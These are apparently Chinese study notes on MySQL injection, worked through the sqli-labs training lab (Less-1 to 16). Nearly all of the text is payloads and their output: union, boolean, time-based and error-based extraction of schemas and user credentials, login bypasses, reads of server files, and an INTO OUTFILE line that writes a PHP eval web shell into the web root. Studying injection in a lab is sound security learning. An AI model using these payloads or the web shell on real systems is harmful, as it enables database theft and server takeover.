Mysql 注入天书——学习笔记
- 一、搭建环境 & sqli-sql介绍
- 二、第一部分__page-1 Basic Challenges Background-1 基础知识
- 三、答题模式-基础知识-Less1~4
- 四、Background-2 盲注的讲解
- 五、答题模式-盲注的讲解-Less-5~6
- 六、Background-3 导入导出相关操作的讲解
- 七、答题模式-Background-3 导入导出相关操作的讲解-Less-7~16
- 八、Background-4 增删改函数介绍
- 九、答题模式-Less-17
- 十、Background-5 HTTP头部介绍
- 十一、答题模式-Less-18~22
- 十二、第二部分__page-2 Advacned injection Less-23~28a
- 十三、Background-6 服务器(两层)架构
- 十四、答题模式-Less-29~31
- 十五、Background-7 宽字节注入
- 十六、答题模式-Less-32~37
- 十七、第三部分__page-3 Stacked injection Background-8 stacked injection
- 十八、答题模式-Less-38~45
- 十九、Background-9 order by 后的injection
- 二十、答题模式-Less-46~53
- 二十一、第四部分/page-4 Challenges 答题模式Less-54~64
- 二十二、后记
SQLI,sql injection,我们称之为sql 注入。
sql,英文:Structured Query Language,结构化查询语言。
sqli-labs 安装 :由于本地 wamp 环境已经完善,则直接安装,修改代码中的数据库连接部分,然后启动 setup/reset database for labs ,即可完成安装。
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
- @@hostname——主机名
- concat(str1,str2,...)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
- group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
列出所有的数据库
select group_concat(schema_name) from information_schema.schemata列出某个库当中所有的表
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'PS: url编码后的#为%23,空格为%20,单引号为%27,--+可以用#替换,但注意#是浏览器锚点,是浏览器操作来的,应该少用。因此,可在url使用%23,--+会在SQL中被解析为#即注释
建议常用--+
- or 1=1--+
- 'or 1=1--+
- "or 1=1--+
- )or 1=1--+
- ')or 1=1--+
- ") or 1=1--+
- "))or 1=1--+
UNION需要连接相同列数、相同数据类型、相同顺序的SELECT。
默认UNION操作符选取不同的值,如果要允许重复,请使用UNION ALL。
优先级 AND > OR
Select * from admin where username='admin' and password='admin'经转换,可以得到下面绕过语句:
Select * from admin where username='admin' and password=''or 1=1#'运算操作比较:
1. Select * from users where id=1 and 1=1;
2. Select * from users where id=1 && 1=1;
3. Select * from users where id=1 & 1=1;以上1和2是一样的,3的意思是id=1与1进行&位操作,id=1当作True,与1进行&运算,结果还是1
ps: &的优先级大于=
常规语句
show databases;
use security;
show tables;
desc emails;
describe table;
show full columns from table;information_schema是系统数据库,常用于进行前台攻击。
use information_schema;
show tables; # 查看information_schema系统数据库里的所有表
desc tables; # 查看tables这张表里的属性
select table_name from information_schema.tables where table_schema = "security"; # 查询security数据库里所有的数据表名一般注入流程:
# 猜数据库
select schema_name from information_schema.schemat;
# 猜某库里的数据表
select table_name from information_schema.tables where table_schema='xxxxx';
# 猜某数据表里的所有列
select column_name from information_schema.columns where table_name='xxxxx'
# 获取内容
select *** from ***;注意:order by 4 是根据数据的第4列来排的,可以从此处推出表的列数。
sql的报错会用单引号括起来,在看报错的时候注意先提取出报错的sql语句,再进行判断
根据result.txt的结果,猜#被过滤,以后可以尝试--+
UNION的功能可以猜出表的列数,如:union select 1,2--+
当数据不存在时候联查出构造的union数据。
注意:union all允许重复值。
- 得到数据库名
'or 1=2 union select 1,database()--+ - 得到所有数据库名:
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ - 得到security数据库的所有表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ - 得到users表列属性
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ - 得到security数据库users表的列属性
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ - 爆数据
?id=-1' union select 1,username,password from users --+
sql查询也可能会使用整型where语句,因此也会直接--+得到结果
整型后注释即可:
?id=1--+
?id=1 or 1=1 --+
直接?id=1'会报错:near ''1'') LIMIT 0,1' at line 1
这意味着:Select login_name, select password from table where id= ('our input here')
因此可得1'后的是单引号且已闭合,缺少语句是),补充语句后即可:?id=1')--+
与Less-3差不多一致,是单引号与双引号的区别而已
使用?id=1") union select 1,2,3--+即可构造注入
使用网络监控得到post请求的数据,然后在hackbar构造post请求即可
盲注是在sql注入时执行命令后没有回显的尝试,盲注分为三类:
- 基于布尔的sql盲注
- 基于报错的sql盲注
- 基于时间的sql盲注
借用逻辑判断构造注入。
Sql注入截取字符串常用函数博客:https://www.cnblogs.com/lcamry/p/5504374.html
三大法宝:mid() substr() left()
次函数为截取字符串一部分:MID(column_name,start[,length])
| 参数 | 描述 |
|---|---|
| column_name | 必需。要提取字符的字段 |
| start | 必需。规定开始位置(起始值是 1) |
| length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
Eg: str="123456" mid(str,2,1) 结果为2
sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Left()得到字符串左部开始指定个数的字符:Left ( string, n )
string为要截取的字符串,n为长度。
Sql用例:
(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句。
同时也要介绍ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
EG:
ORD(MID(DATABASE(),1,1))>114
意为检测database()的第一位ASCII码是否大于114,也即是'r'
ascii中:48~57为0到9十个阿拉伯数字,65~90为26个大写英文字母,97~122号为26个小写英文字母。
Ascii()将某个字符转换为ascii 值。
EG:
查看当前数据库第一个表名的第一个字符:select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1));
布尔值判断:ascii(substr((select database()),1,1))=98
sql中正则注入作者博客:https://www.cnblogs.com/lcamry/articles/5717442.html>
EG:
- 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名
注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*- 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*- 确定该字符为n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*- 表达式的更换如下
expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = ’news‘ 不就行了。- 接下来猜解其它表了
实验表明:在limit 0,1下,regexp会匹配所有的项,regexp匹配的时候会在所有的项都进行匹配
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的
- 注意:limit注意使用参数,配合限定where条件。limit 0,1是表示从第1条数据开始,取1条!默认开始为0,当为limit 2时表示取前2条记录。
其他示例:
0. select user() regexp '^ro'; 假如用户为root等,查询会返回1。
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));select * from users where id=1 and 1=(user() regexp '^ro')select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
实验操作实例:security有emails,referers,uagents,users四个表
- 当
select table_name from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]';的时候,会把四个表都查询出:
| table_name |
|---|
| emails |
| referers |
| uagents |
| users |
- 当
select table_name from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1;或者limit 1的时候:
| table_name |
|---|
| emails |
- 当
select table_name from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 2;的时候:
| table_name |
|---|
| emails |
| referers |
- 当
select table_name from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 1,1;的时候,结果是:
| table_name |
|---|
| referers |
- 注意此处,当
select table_name from information_schema.tables where table_schema='security' and table_name regexp '^r[a-z]' limit 1,1;的时候,结果是:
Empty set (0.00 sec)
解析:因为假如没有limit限制,会得到referers这个表,这里Limit从输出限制第2条开始取1条记录,显然是无输出。(limit 0,1表示从第1条记录取1条)
在这里我们应该明白到,limit只是限定查询的输出,并不是指限定由第2条记录来进行正则匹配。
我们也无须知道表的顺序,只要有这个表即可。
同时,也应当善用正则的$结尾符,还有like这个模糊匹配,如like 'ro%'
** |--->探索rand()的秘密 **
help rand;得到如下结果
Name: 'RAND'
Description:
Syntax:
RAND(), RAND(N)
Returns a random floating-point value v in the range 0 <= v < 1.0. If a
constant integer argument N is specified, it is used as the seed value,
which produces a repeatable sequence of column values. In the following
example, note that the sequences of values produced by RAND(3) is the
same both places where it occurs.
# rand()返回范围为0 <= v <1.0的随机浮点值v。
# 如果一个指定了常量整数参数N,它用作种子值,产生可重复的列值序列。
# 在下面的例如,请注意RAND(3)产生的值序列是发生的两个地方都一样。
URL: http://dev.mysql.com/doc/refman/5.6/en/mathematical-functions.html
Examples:
mysql> CREATE TABLE t (i INT);
Query OK, 0 rows affected (0.42 sec)
mysql> INSERT INTO t VALUES(1),(2),(3);
Query OK, 3 rows affected (0.00 sec)
Records: 3 Duplicates: 0 Warnings: 0
mysql> SELECT i, RAND() FROM t;
+------+------------------+
| i | RAND() |
+------+------------------+
| 1 | 0.61914388706828 |
| 2 | 0.93845168309142 |
| 3 | 0.83482678498591 |
+------+------------------+
3 rows in set (0.00 sec)
mysql> SELECT i, RAND(3) FROM t;
+------+------------------+
| i | RAND(3) |
+------+------------------+
| 1 | 0.90576975597606 |
| 2 | 0.37307905813035 |
| 3 | 0.14808605345719 |
+------+------------------+
3 rows in set (0.00 sec)
mysql> SELECT i, RAND() FROM t;
+------+------------------+
| i | RAND() |
+------+------------------+
| 1 | 0.35877890638893 |
| 2 | 0.28941420772058 |
| 3 | 0.37073435016976 |
+------+------------------+
3 rows in set (0.00 sec)
mysql> SELECT i, RAND(3) FROM t;
+------+------------------+
| i | RAND(3) |
+------+------------------+
| 1 | 0.90576975597606 |
| 2 | 0.37307905813035 |
| 3 | 0.14808605345719 |
+------+------------------+
3 rows in set (0.01 sec)此处表现,rand(seed)时候每次查询结果是一样,但同一次不同行查询的随机值不同。rand()是每次都随机取种子值,每次结果都不同。
生成5到10(含)之间的随机整数数的示例:
SELECT
FLOOR(RAND()*(10-5+1)+5) 'Result 1',
FLOOR(RAND()*(10-5+1)+5) 'Result 2',
FLOOR(RAND()*(10-5+1)+5) 'Result 3';在这里我们需要的是sql报错,示例如下:
-
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;ERROR 1062 (23000): Duplicate entry '::root@localhost::1' for key 'group_key'
这里我们不是十分明白其中的报错原因,大概原理为分组后数据计数时重复造成的错误,也有解释为mysql的bug问题,此处需要将rand()和rand(0)多试几次才行。
-
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));ERROR 1062 (23000): Duplicate entry '5.6.171' for key 'group_key'
这里得到version()的值为5.6.17,后面的1是由rand(0)得出,此处rand(0)会从随机的固定值得出一个随机值,floor(rand(0)*2)可得出0或1。
-
select count(*) from (select 1 union select null union select !1) t group by concat(version(),floor(rand(0)*2));ERROR 1062 (23000): Duplicate entry '5.6.171' for key 'group_key'
假如关键表被禁用,可以使用这种方式。
这里select 1 union select null union select !1会得出1,NULL,0。
还是在分组的时候会出mysql报错,而且必须是concat连接floor的随机整数才会分组失败,正常的‘1’字符串concat连接后是分组正常的。 -
select min(@a:=1) from information_schema.tables group by concat(table_name,@a:=(@a+1)%2)如果rand()被禁用,可以使用用户变量来报错。 放弃研究注意:select min(@a:=1) from information_schema.tables group by concat(table_name,@a:=(@a+1)%2),这里是得到一个表名,证明存在漏洞即可。
-
select exp(~(select * FROM(SELECT USER())a));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
// y = Exp(x)是以e为底的指数函数,即y=e的x次方。
其中 exp(-2) = 0.13533528323661,exp(0) = 1,exp(1) = 2.718281828459045。版本在5.5.5及以上。这里是double数值类型超出范围,user() = root@localhost,~(root@localhost) = 18446744073709551615,exp(数值>709)会报错。
使用exp进行SQL报错注入参考文章:https://www.cnblogs.com/lcamry/articles/5509124.html
-
0x01 概述
~是按位取反,~0=18446744073709551615,是最大的无符号BIGINT值。
-
0x02 注入
通过构造子查询并取反,造成一个DOUBLE overflow error,并借由此注出数据。
-
0x03 注出数据——得到表名
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'emails' from dual)))'
-
0x03 注出数据——得到列名
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'user_id' from dual)))
放弃研究注意:这里只是得出单条数据,单条记录,个人讨论后无法从limit下手的,报错机制并没有给出预期结果,请从下面的@遍历爆出吧!
-
0x03 注出数据——检索数据
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '1:Dumb:Dumb' from dual)))'
-
0x04 一蹴而就
这个查询可以从当前上下文中dump出所有的tables和columns。
# 例如url: http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit# # 这里可以直接从mysql shell查询出来: select exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)); # 返回结果如下 ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 security::emails::id security::emails::email_id security::referers::id security::referers::referer security::referers::ip_address security::uagents::id security::uagents::uagent security::uagents::ip_address security::uagents::username security::users::id security::users::username security::users::password' from dual)))' # 注意上述语句也可以在其他增删改查均可以注入哦,其中exp需要在mysql5.5.5及以上版本。
最终语句如下:
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
-
-
select !(select * from (select user())x) - ~0;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
注意这里是减号。
基于BIGINT溢出错误的SQL注入:https://www.cnblogs.com/lcamry/articles/5509112.html
-
0x01 概述
数据类型BIGINT的长度为8字节,也就是说,长度为64比特,最大数值为9223372036854775807。
~0是逐位取反,得到的是无符号最大值,为18446744073709551615。
-
0x02 注入技术
如果我们对~0进行加减运算的话,会导致BIGINT溢出错误。因此,我们利用子查询引起BIGINT溢出,设法提取数据。
我们知道,一个查询成功返回,其返回值为0,逻辑非运算得1。示例:
mysql> select !(select*from(select user())x);!(select*from(select user())x) 1 1 row in set (0.00 sec) 我们再对其进行加减运算:
select ~0+!(select*from(select user())x);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'
注意:我们不常用加法,因为“+”通过网页浏览器解析会转为空白符,此时可以用%2b来表示+。常用减法。
最终语句如下:
!(select*from(select user())x)-~0 (select(!x-~0)from(select(select user())x)a) (select!x-~0.from(select(select user())x)a)
-
0x03 提取数据——获得表名
select !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'emails' from dual))) - ~(0))'
-
0x03 提取数据——获得列名
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'user_id' from dual))) - ~(0))'
-
0x03 提取数据——检索数据
select !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '1:Dumb:Dumb' from dual))) - ~(0))'
-
0x04 一次性转储
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 (select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a) (select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
注意,毕竟我们是通过错误消息来检索数据的,在从当前数据库转储检索时,会限制了最多27个结果,即最多会返回27个列,多出的都无法返回。
当然,以上3条语句均可以在增删改查其他地方进行注入攻击。
另外需要再次注意的一点是,这些均因为mysql 5.5.5及以上版本会提供mysql_error()。
-
-
select extractvalue(1,concat(0x7e,(select @@version),0x7e));ERROR 1105 (HY000): XPATH syntax error: '
5.6.17'解释:mysql 对xml 数据进行检查查询的xpath 函数,xpath 语法错误
-
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);ERROR 1105 (HY000): XPATH syntax error: '
5.6.17'解释://mysql 对xml 数据进行修改的xpath 函数,xpath 语法错误,注意顺序不能调换
-
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;ERROR 1060 (42S21): Duplicate column name '5.6.17'
解释:mysql 重复特性,此处重复了version,所以报错。
基础判断执行sleep:select If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
其中115是s,%23是#
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
| sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.')) |
|---|
| 0 |
1 row in set (1.00 sec)
解释:find_in_set表示从后面set找前面的元素,这里元素version的第一个值是5,得到的index是6,所以会停顿6秒,并且查询成功,返回0。
UNION
SELECT
IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
FROM (select database() as current) as tb1;解释:BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu 资源。推荐使用sleep()函数进行注入。
直接加 ?id=1'# ,这时候会报错语法错误 syntax to use near '' LIMIT 0,1' at line 1
那么我们应该要明白,报错多出的sql语句是 ' LIMIT 0,1 ,那么我们构造后的php语句就可能是:
$sql = "select * from users where id='1' # ' limit 0,1 "
那么sql的语法错误就是: ' limit 0,1
这时候我们需要的操作是将#替换成%23,但是常用将 # 换成 --+ ,这时候会正常注释了多余出来的sql语句,即成功绕过。
在Less-5中,正常sql查询后会显示一个常量,因此我们需要操作的是对sql查询时候注入判断,正常执行后根据时候返回常量判断注入正确性。
开始布尔逻辑注入:
-
此处注入:
?id=1' and left(version(),1)=5--+
?id=1' and left(version(),1)=4--+可见是返回得到版本号是mysql5.版本。
-
继续注入:
?id=1' and ascii(left(database(),1))=115--+
此时是正常返回,那么可知115对应s,那么数据库名可以猜出了。 -
?id=1' and length(database())=8--+
正常返回,可知数据库名长度为8。 -
?id=1' and left(database(),2)>'sa'--+
?id=1' and left(database(),2)='se'--+正常返回,可逐个猜库名。 -
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+
109是m,这里是逐个猜表名的思路。 -
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_schema=database() and column_name regexp '^pa' limit 0,1)--+
继续猜表的列名,这里使用regexp匹配猜当前库的users表里是否存在pa开头的列名。 -
?id=1' and ord(mid((select IFNULL(CAST(username AS CHAR),0x20) from security.users order by id limit 0,1) ,1,1))=68 --+
这里检索出数据,得到users表里数据的第一个id的username列第一个字符为68即D,可逐个慢慢检索。
小结:以上通过布尔盲注得到熟悉和理解。
接下来,使用报错型和延时盲注。
-
首先证实存在报错型盲注漏洞:
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+Duplicate entry '::root@localhost::1' for key 'group_key'
-
利用double数值类型溢出报错注入:
?id=1' union select 1,2,exp(~(select * from (select user())a))--+DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
-
利用bigint溢出报错注入:
?id=1' union select 1,2,!(select * from (select user())a) - ~0--+BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
-
xpath报错——extractvalue检查函数
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+XPATH syntax error: '
5.6.17'这里@@version可以用version()替换。extractvalue()表示对xml的检查函数。
-
xpath报错——updatexml修改函数
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+XPATH syntax error: '
5.6.17'这里@@version可以用version()替换。extractvalue()表示对xml的修改函数。
-
利用数据的重复性
?id=1'union select 1 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+Duplicate column name '5.6.17'
这里利用name_const()函数的列重复性报错。
补充说明:NAME_CONST(name,value)
返回给定值。当用于产生结果集列时,NAME_CONST()使该列具有给定的名称。参数应为常量。
当然,对于应用程序可以使用简单的as别名,效果完全相同。
mysql> SELECT NAME_CONST('myname', 14);
结果如下:myname 14 -
延时注入——sleep()函数
?id=1' and if(ascii(substr(database(),1,1))!=115,1,sleep(5))--+这里利用sleep()函数进行延时注入,115是s,此时会有5秒的延迟返回。
-
延时注入——BENCHMARK()函数
?id=1' union select (if(substr(current,1,1)=char(115),benchmark(50000000,encode('msg','msg_pass')),null)),2,3 from (select database() as current) as tb1--+BENCHMARK()循环操作n次。
这里Less-6是和5差不多的,只是在id引用换为双引号。
直接给出payload:
?id=1" and left(version(),1)=4--+
$sql = " "
select * from users where id = " 1" and left(@@version,1)=5 # " limit 0,1load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A.必须有权限读取并且文件必须完全可读
- and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
- and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权了。
B.欲读取文件必须在服务器上
C.必须指定文件完整的路径
D.欲读取文件必须小于max_allowed_packet
若文件不存在或读取失败,load_file()函数返回空。
MySQL注入load_file常用路径:https://www.cnblogs.com/lcamry/p/5729087.html
EG:
- Select 1,2,3,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))
利用hex()将文件内容导出来,尤其是smb文件时可以使用。- -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII 代码- -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的16 进制是“0x633a2f626f6f742e696e69”- -1 union select 1,1,1,load_file(c:\boot.ini)
Explain:路径里的/用\代替
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必 须为一个文字字符串。
函数具体介绍请参考mysql文档。
LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name,...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var,...)]
[SET col_name = expr,...]SELECT.....INTO OUTFILE 'file_name'
将选择行写入到文件中,被创建到服务器上(注意须有权限,且文件尚未存在)。一般有两种形式:
- 第一种形式是将select导入到文件中
EG:
Select version() into outfile "c:\test.txt";
替换成“一句话木马”(``)也可以
Select into outfile “c:\\webdir\\test.php”
- 第二种形式是修改文件结尾
Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 进制文件
16 进制可以为"一句话木马"或者其他任何的代码,可自行构造。
在sqlmap 中os-shell 采取的就是这样的方式,具体可参考os-shell 分析文章:http://www.cnblogs.com/lcamry/p/5505110.html
TIPS:
(1)可能在文件路径当中要注意转义,这个要看具体的环境。
(2)上述我们提到了load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile 'c:\\wamp\\www\\test.php'
可以利用该语句将服务器当中的内容导入到web 服务器下的目录,这样就可以得到数据了。上述my.ini 当中存在password 项(不过默认被注释),当然会有很多的内容可以被导出来,这个要平时积累。
源码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
首先我们先正常输入id值,得到正常的输出。再构造语句:
?id=1')) union select 1,2,3 into outfile 'c:\\wamp\\www\\test000.txt'--+
这里输出You have an error in your SQL syntax。显示sql出错,但是没有关系,文件已经生成了。
此时,同样可以构造“一句话木马”导入进去。
?id=1')) union select 1,2,"<?php @eval($_post['a'])?>" into outfile 'c:\\wamp\\www\\test.php'--+
然后就是菜刀getshell的后续操作了。
这里是 ?id=10' or 1=1--+ 进行注入,查看源码是屏蔽了mysql_error(),无法使用报错型注入,其他payload参考Less-5。
标题为 Blind- Time based- Single Quotes- String《基于时间-单引号》,显然是利用延时注入。
直接一层 ?id=1' or 1=1--+ 得到正常输出
这里开始利用sleep()延时注入。
- 猜测数据库:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
sql构造为当数据库名第一位字母为ascii(s)=115,if正确则立即返回,不正确则等待5秒钟。
修改substr参数得到第二个字母,以此类推得到数据库名称是security。 - 猜测security数据表:
if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
这里猜的第一张数据表的第一个字母为ascii(e)=101,if正确则立即返回,不正确则等待5秒钟。
修改limit参数可得到第二张表,修改substr参数可得到表全名,以此类推得到所有数据表emails,referers,uagents,users。 - 猜测users表的列
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
这里猜得users表的第一列为ascii(i)=105。
以此类推,得到列名是id,username,password。 - 猜测username值
?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5))--+
这里得到username第一行的第一位。
以此类推,可得到username/password所有内容。
当然,这里还可以使用benchmark()函数进行注入,这里不进行演示。
标题是《基于时间-双引号》,和Less-9类似,查看源码可知,不管sql对错的前端显示都是一样的,因此延时类注入是适合的,此处只做一个演示。
?id=1" and if((ascii(substr(user(),1,1))=65),1,sleep(5))--+
延时5秒,所以用户第一位不是65A。
这里是初次接触POST注入,是一个登陆入口。
首先用hackbar的load url可以提取到需要post的数据。
再第一步就是测试万能密码 admin' or '1'='1,密码随意。
构造出来的payload是这样的 uname=admin' or '1'='1#&passwd=1
显示是登录成功的,登录账号为admin密码为admin。
通过查看后端代码,构造出的sql是这样的:@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and password='$passwd' LIMIT 0,1";
这里利用的是 or 恒成立。
ps:这里个人再深入一层,加入我不清楚存在admin账号,我就试举例构造
a' or 1=1--+,密码随意
得到的结果是登录账号Dumb登录密码Dumb,显示是登录成功的。
那么我即使不知道账号也能绕过去,并且可以得到前端提示的一个用户。
接着天书的指引,我们用union注入尝试:
passwd=1&uname=1admin' union select 1,database()--+
那么前端回显的是database为security。这种叫get注入,是常用的手法,还有其他方法注入,天书在后面的关卡会给示例。
这里Less-12和Less-11类似,只不过在sql语句上多了一弯口。
首先构造单/双引号,在构造双引号后得到提示是 ") 。
知道这点之后payload就简单了:
passwd=1&uname=admin")--+ 得admin/admin
passwd=1&uname=1admin") or 1=1--+得Dump/Dump
这里我们输入 admin' ,会看到报错是对id进行了 ') 处理。
根据前面的方式绕过,登录成功后是没有回显登录成功的用户名的。只是显示登录结果,那么这里我们就用下布尔类型的盲注了。
猜测数据库的第一位:
passwd=1&uname=admin') and left(database(),1)>'a'--+
注意这里我们使用的是and,是利用了uname=admin的。
这里猜测后是登录成功的,接下来就可以逐位猜测了,如Less-5。提一个小建议,在逐位猜测的过程可以利用二分法。
这里直接测试
passwd=1&uname=admin" and left(database(),1)>'a'--+
可见是登录成功的,没有登录提示。那么这里利用一下报错注入:
passwd=1&uname=admin" and extractvalue(1,concat(0x7e,(select version()),0x7e))--+
这里就提示了:XPATH syntax error: '5.6.17'
本关卡没有报错提示,只能猜测注入,可看源码得知id进行了 'id' 的处理。
这里我们利用延时注入,猜测数据库名第一位:
passwd=1&uname=admin' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
正确的时候可以直接登录,不正确的时候延时5秒且登录失败。
本关卡和Less-15的处理是一样的,同样的使用延时注入的方法进行解决。多次猜测或从源码中可知,进行了 ("id") 的处理。
构造payload:
passwd=1&uname=1admin") or 1=1--+ 登录成功
